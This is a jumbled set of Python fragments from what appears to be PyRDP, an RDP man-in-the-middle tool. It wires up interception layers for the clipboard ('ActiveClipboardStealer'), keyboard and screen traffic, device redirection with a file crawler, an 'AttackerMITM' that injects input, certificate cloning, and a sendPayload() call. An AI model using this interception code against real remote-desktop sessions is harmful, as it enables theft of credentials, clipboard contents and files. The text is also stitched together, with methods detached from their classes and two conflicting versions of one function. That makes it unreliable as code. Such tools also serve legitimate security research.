def buildClipboardChannel(self, client: MCSServerChannel,
server: MCSClientChannel):
"""
Build the MITM component for the clipboard channel.
:param client: MCS channel for the client side
:param server: MCS channel for the server side
"""
clientSecurity = self.state.createSecurityLayer(
ParserMode.SERVER, True)
clientVirtualChannel = VirtualChannelLayer()
clientLayer = ClipboardLayer()
serverSecurity = self.state.createSecurityLayer(
ParserMode.CLIENT, True)
serverVirtualChannel = VirtualChannelLayer()
serverLayer = ClipboardLayer()
clientLayer.addObserver(
LayerLogger(self.getClientLog(MCSChannelName.CLIPBOARD)))
serverLayer.addObserver(
LayerLogger(self.getServerLog(MCSChannelName.CLIPBOARD)))
LayerChainItem.chain(client, clientSecurity, clientVirtualChannel,
clientLayer)
LayerChainItem.chain(server, serverSecurity, serverVirtualChannel,
serverLayer)
mitm = ActiveClipboardStealer(clientLayer, serverLayer,
self.getLog(MCSChannelName.CLIPBOARD),
self.recorder, self.statCounter)
self.channelMITMs[client.channelID] = mitm
def buildIOChannel(self, client: MCSServerChannel, server: MCSClientChannel):
"""
Build the MITM component for input and output.
:param client: MCS channel for the client side
:param server: MCS channel for the server side
"""
self.client.security = self.state.createSecurityLayer(ParserMode.SERVER, False)
self.client.fastPath = self.state.createFastPathLayer(ParserMode.SERVER)
self.server.security = self.state.createSecurityLayer(ParserMode.CLIENT, False)
self.server.fastPath = self.state.createFastPathLayer(ParserMode.CLIENT)
self.client.security.addObserver(SecurityLogger(self.getClientLog("security")))
self.client.fastPath.addObserver(FastPathLogger(self.getClientLog("fastpath")))
self.client.fastPath.addObserver(RecordingFastPathObserver(self.recorder, PlayerMessageType.FAST_PATH_INPUT))
self.server.security.addObserver(SecurityLogger(self.getServerLog("security")))
self.server.fastPath.addObserver(FastPathLogger(self.getServerLog("fastpath")))
self.server.fastPath.addObserver(RecordingFastPathObserver(self.recorder, PlayerMessageType.FAST_PATH_OUTPUT))
self.security = SecurityMITM(self.client.security, self.server.security, self.getLog("security"), self.config, self.state, self.recorder)
self.fastPath = FastPathMITM(self.client.fastPath, self.server.fastPath)
LayerChainItem.chain(client, self.client.security, self.client.slowPath)
LayerChainItem.chain(server, self.server.security, self.server.slowPath)
self.client.segmentation.attachLayer(SegmentationPDUType.FAST_PATH, self.client.fastPath)
self.server.segmentation.attachLayer(SegmentationPDUType.FAST_PATH, self.server.fastPath)
def buildDeviceChannel(self, client: MCSServerChannel, server: MCSClientChannel):
"""
Build the MITM component for the device redirection channel.
:param client: MCS channel for the client side
:param server: MCS channel for the server side
"""
clientSecurity = self.state.createSecurityLayer(ParserMode.SERVER, True)
clientVirtualChannel = VirtualChannelLayer(activateShowProtocolFlag=False)
clientLayer = DeviceRedirectionLayer()
serverSecurity = self.state.createSecurityLayer(ParserMode.CLIENT, True)
serverVirtualChannel = VirtualChannelLayer(activateShowProtocolFlag=False)
serverLayer = DeviceRedirectionLayer()
clientLayer.addObserver(LayerLogger(self.getClientLog(MCSChannelName.DEVICE_REDIRECTION)))
serverLayer.addObserver(LayerLogger(self.getServerLog(MCSChannelName.DEVICE_REDIRECTION)))
LayerChainItem.chain(client, clientSecurity, clientVirtualChannel, clientLayer)
LayerChainItem.chain(server, serverSecurity, serverVirtualChannel, serverLayer)
deviceRedirection = DeviceRedirectionMITM(clientLayer, serverLayer, self.getLog(MCSChannelName.DEVICE_REDIRECTION), self.config, self.statCounter, self.state)
self.channelMITMs[client.channelID] = deviceRedirection
if self.config.enableCrawler:
self.crawler.setDeviceRedirectionComponent(deviceRedirection)
if self.attacker:
self.attacker.setDeviceRedirectionComponent(deviceRedirection)
def __init__(self, parent: QWidget = None):
super().__init__(QRemoteDesktop(1024, 768), parent)
self.tcp = AsyncIOTCPLayer()
self.player = PlayerMessageLayer()
self.eventHandler = PlayerMessageHandler(self.widget, self.text)
LayerChainItem.chain(self.tcp, self.player)
self.player.addObserver(self.eventHandler)
def __init__(self, _reactor: Reactor, host: str, port: int):
self.reactor = _reactor
self.host = host
self.port = port
self.log = logging.getLogger(f"{LOGGER_NAMES.PYRDP}.clonecert")
self.tcp = TCPCertFetchingLayer()
self.tpkt = TPKTLayer()
self.x224 = X224Layer()
LayerChainItem.chain(self.tcp, self.tpkt, self.x224)
self.tcp.createObserver(onConnection=self.sendConnectionRequest)
self.x224.createObserver(onConnectionConfirm=lambda _: self.startTLS())
def __init__(self):
self.tcp = TwistedTCPLayer()
self.segmentation = SegmentationLayer()
self.tpkt = TPKTLayer()
self.x224 = X224Layer()
self.mcs = MCSLayer()
self.security: SecurityLayer = None
self.slowPath = SlowPathLayer()
self.fastPath: FastPathLayer = None
self.tcp.setNext(self.segmentation)
self.segmentation.attachLayer(SegmentationPDUType.TPKT, self.tpkt)
LayerChainItem.chain(self.tpkt, self.x224, self.mcs)
def buildVirtualChannel(self, client: MCSServerChannel, server: MCSClientChannel):
"""
Build a generic MITM component for any virtual channel.
:param client: MCS channel for the client side
:param server: MCS channel for the server side
"""
clientSecurity = self.state.createSecurityLayer(ParserMode.SERVER, True)
clientLayer = RawLayer()
serverSecurity = self.state.createSecurityLayer(ParserMode.CLIENT, True)
serverLayer = RawLayer()
LayerChainItem.chain(client, clientSecurity, clientLayer)
LayerChainItem.chain(server, serverSecurity, serverLayer)
mitm = VirtualChannelMITM(clientLayer, serverLayer, self.statCounter)
self.channelMITMs[client.channelID] = mitm
def buildIOChannel(self, client: MCSServerChannel, server: MCSClientChannel):
"""
Build the MITM component for input and output.
:param client: MCS channel for the client side
:param server: MCS channel for the server side
"""
self.client.security = self.state.createSecurityLayer(ParserMode.SERVER, False)
self.client.fastPath = self.state.createFastPathLayer(ParserMode.SERVER)
self.server.security = self.state.createSecurityLayer(ParserMode.CLIENT, False)
self.server.fastPath = self.state.createFastPathLayer(ParserMode.CLIENT)
self.client.security.addObserver(SecurityLogger(self.getClientLog("security")))
self.client.fastPath.addObserver(FastPathLogger(self.getClientLog("fastpath")))
self.client.fastPath.addObserver(RecordingFastPathObserver(self.recorder, PlayerPDUType.FAST_PATH_INPUT))
self.server.security.addObserver(SecurityLogger(self.getServerLog("security")))
self.server.fastPath.addObserver(FastPathLogger(self.getServerLog("fastpath")))
self.server.fastPath.addObserver(RecordingFastPathObserver(self.recorder, PlayerPDUType.FAST_PATH_OUTPUT))
self.security = SecurityMITM(self.client.security, self.server.security, self.getLog("security"), self.config, self.state, self.recorder)
self.fastPath = FastPathMITM(self.client.fastPath, self.server.fastPath, self.state, self.statCounter)
if self.player.tcp.transport:
self.attacker = AttackerMITM(self.client.fastPath, self.server.fastPath, self.player.player, self.log, self.state, self.recorder)
if MCSChannelName.DEVICE_REDIRECTION in self.state.channelMap:
deviceRedirectionChannel = self.state.channelMap[MCSChannelName.DEVICE_REDIRECTION]
if deviceRedirectionChannel in self.channelMITMs:
deviceRedirection: DeviceRedirectionMITM = self.channelMITMs[deviceRedirectionChannel]
self.attacker.setDeviceRedirectionComponent(deviceRedirection)
LayerChainItem.chain(client, self.client.security, self.client.slowPath)
LayerChainItem.chain(server, self.server.security, self.server.slowPath)
self.client.segmentation.attachLayer(SegmentationPDUType.FAST_PATH, self.client.fastPath)
self.server.segmentation.attachLayer(SegmentationPDUType.FAST_PATH, self.server.fastPath)
self.sendPayload()
def __init__(self):
self.tcp = AsyncIOTCPLayer()
self.player = PlayerLayer()
LayerChainItem.chain(self.tcp, self.player)
def __init__(self):
self.tcp = TwistedTCPLayer()
self.player = PlayerLayer()
LayerChainItem.chain(self.tcp, self.player)